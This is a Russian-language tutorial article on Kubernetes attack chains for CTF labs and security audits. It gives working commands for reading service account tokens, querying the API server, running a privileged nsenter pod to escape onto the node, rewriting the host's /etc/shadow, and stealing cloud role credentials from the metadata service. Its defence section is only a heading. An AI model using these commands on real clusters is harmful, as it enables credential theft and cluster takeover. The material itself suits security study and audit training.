
38
В сценариях захвата флага (CTF) и реальных аудитах безопасности Kubernetes атака редко строится на одном эксплойте. Чаще всего это цепочка: захват веб-пода, разведка окружения кластера, извлечение Service Account токенов, горизонтальное перемещение и побег на рабочий узел (Node).
Разведка и сбор учетных данных из пода
Получив первоначальное выполнение команд (RCE) в поде, исследователь оказывается изолирован в пространстве имен Linux, однако кластер сам монтирует в контейнер учетные данные.
По умолчанию токен сервисного аккаунта и CA-сертификат располагаются по фиксированному пути:
|
1 2 3 4 |
# Чтение токена и пространства имен текущего пода export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) export NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace) export APISERVER="https://kubernetes.default.svc" |
Если в контейнере нет встроенного клиента kubectl, аудит прав выполняется стандартными запросами через curl к внутреннему API-серверу:
|
1 2 3 4 5 |
# Проверка прав через REST API Kubernetes curl -sSk -H "Authorization: Bearer $TOKEN" \ "$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \ -X POST -H 'Content-Type: application/json' \ -d "{\"spec\":{\"namespace\":\"$NAMESPACE\"}}" |
Эскалация через избыточные привилегии RBAC
Ошибки в политиках RBAC (Role-Based Access Control) часто дают исследователям права администратора.
verbs: ["create"] на resources: ["pods"], можно запустить собственный под с полным доступом к хостовой файловой системе.verbs: ["get", "list"] на resources: ["secrets"] позволяет сдампить секреты других пространств имен, включая токены cluster-admin.verbs: ["create"] на pods/exec открывает возможность подключаться к соседним привилегированным подам инфраструктуры.|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
# Манифест пода для побега на хост при наличии прав на создание подов apiVersion: v1 kind: Pod metadata: name: debug-node-escape spec: hostPID: true hostNetwork: true containers: - name: node-shell image: alpine:latest securityContext: privileged: true command: ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "/bin/sh"] |
Векторы побега из контейнера на ноду
В учебных CTF-лабораториях контейнеры часто запускаются с небезопасным контекстом безопасности (securityContext).
|
1 2 3 4 5 6 7 8 9 10 11 |
+--------------------------------------------------------+ | Host (Node) | | /var/run/docker.sock | /host-root (/etc/shadow) | | ^ ^ | | | (mount) | (hostPath) | | +-------+-------------------------+--------+ | | | Compromised Pod | | | | - privileged: true | | | | - CAP_SYS_ADMIN / CAP_SYS_PTRACE | | | +------------------------------------------+ | +--------------------------------------------------------+ |
/var/run/docker.sock или сокет containerd, атакующий управляет созданием контейнеров на хосте.privileged: true: Контейнер получает доступ ко всем блочным устройствам хоста (/dev). Достаточно смонтировать корневой раздел диска хоста командой mount /dev/sda1 /mnt и модифицировать /mnt/etc/shadow.CAP_SYS_ADMIN позволяет подключать свои cgroup-обработчики (release_agent), а CAP_SYS_PTRACE дает возможность внедрять шеллкод в процессы хостовой ОС при включенном hostPID.Атака на облачные метаданные (IMDS)
Если кластер развернут в публичном облаке (AWS EKS, GCP GKE, Yandex Cloud), а сетевые политики (NetworkPolicy) не настроены, любой под может постучаться в сервис метаданных инстанса (169.254.169.254).
|
1 2 |
# Запрос метаданных инстанса для кражи облачной роли узла curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ |
В устаревших версиях IMDSv1 токен сессии не требуется. Получив ключи роли воркера, исследователь может авторизоваться во внешней консоли облака и перехватить управление всей базовой инфраструктурой.
Комплекс мер защиты кластера
Для нейтрализации рассмотренных атак инженеры внедряют многоэшелонированную модель защиты.